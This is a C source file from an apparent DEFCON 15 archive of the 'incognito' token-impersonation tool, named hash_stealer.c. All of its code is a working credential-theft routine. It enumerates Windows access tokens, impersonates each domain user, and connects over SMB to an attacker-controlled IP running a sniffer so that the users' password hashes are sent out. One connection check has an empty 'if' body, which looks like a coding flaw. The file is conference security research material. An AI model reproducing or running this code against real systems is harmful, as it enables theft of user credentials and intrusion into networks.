home *** CD-ROM | disk | FTP | other *** search
/ DEFCON 15 / DefCon15.bin / Speakers / Jennings / Extras / incognito / hash_stealer.c < prev    next >
C/C++ Source or Header  |  2007-03-18  |  2KB  |  71 lines

  1. #define _CRT_SECURE_NO_DEPRECATE 1
  2. #include <stdio.h>
  3. #include <assert.h>
  4. #include <stdlib.h>
  5. #include <string.h>
  6. #include <aclapi.h>
  7. #include <accctrl.h>
  8. #include <psapi.h>
  9. #include <tlhelp32.h>
  10. #include <lm.h>
  11. #include <wchar.h>
  12. #include "token_info.h"
  13. #include "list_tokens.h"
  14. #include "handle_arguments.h"
  15. void create_process(HANDLE token, char *command, BOOL console_mode, SECURITY_IMPERSONATION_LEVEL impersonation_level);
  16.  
  17. // Send off hashes for all tokens to IP address with SMB sniffer running
  18. void snarf_hashes(char *smb_sniffer_ip)
  19. {
  20.     DWORD num_tokens = 0, i;
  21.     SavedToken *token_list = NULL;
  22.     NETRESOURCE nr;
  23.     char conn_string[BUF_SIZE], domain_name[BUF_SIZE];
  24.  
  25.     // Initialise net_resource structure (essentially just set ip to that of smb_sniffer)
  26.        if (_snprintf(conn_string, sizeof(conn_string), "\\\\%s", smb_sniffer_ip) == -1)
  27.         conn_string[sizeof(conn_string)-1] = '\0';
  28.     nr.dwType             = RESOURCETYPE_ANY;
  29.        nr.lpLocalName       = NULL;
  30.        nr.lpProvider        = NULL;
  31.        nr.lpRemoteName      = (LPSTR)conn_string;
  32.  
  33.     // Enumerate tokens
  34.     output_string("[*] Enumerating tokens\n");
  35.  
  36.     token_list = get_token_list(&num_tokens);
  37.     if (!token_list)
  38.     {
  39.         output_string("[-] Failed to enumerate tokens with error code: %d\n", GetLastError());
  40.         return;
  41.     }
  42.  
  43.     output_string("[*] Snarfing hashes...\n");
  44.  
  45.     // Use every token and get hashes by connecting to SMB sniffer
  46.     for (i=0;i<num_tokens;i++)
  47.     if (token_list[i].token)
  48.     {
  49.         get_domain_from_token(token_list[i].token, domain_name);
  50.         // If token is not "useless" local account connect to sniffer
  51.         if (_stricmp(domain_name, "NT AUTHORITY"))
  52.         {
  53.             // Impersonate token
  54.             ImpersonateLoggedOnUser(token_list[i].token);
  55.  
  56.             // Cancel previous connection to ensure hashes are sent and existing connection isn't reused
  57.             WNetCancelConnection2A(nr.lpRemoteName, 0, TRUE);
  58.             
  59.             // Connect to smb sniffer
  60.             if (!WNetAddConnection2A(&nr, NULL, NULL, 0))
  61.  
  62.             // Revert to primary token
  63.             RevertToSelf();
  64.         }
  65.         CloseHandle(token_list[i].token);
  66.     }
  67.  
  68.     free(token_list);
  69.  
  70.     output_string("[*] Finished snarfing hashes\n");
  71. }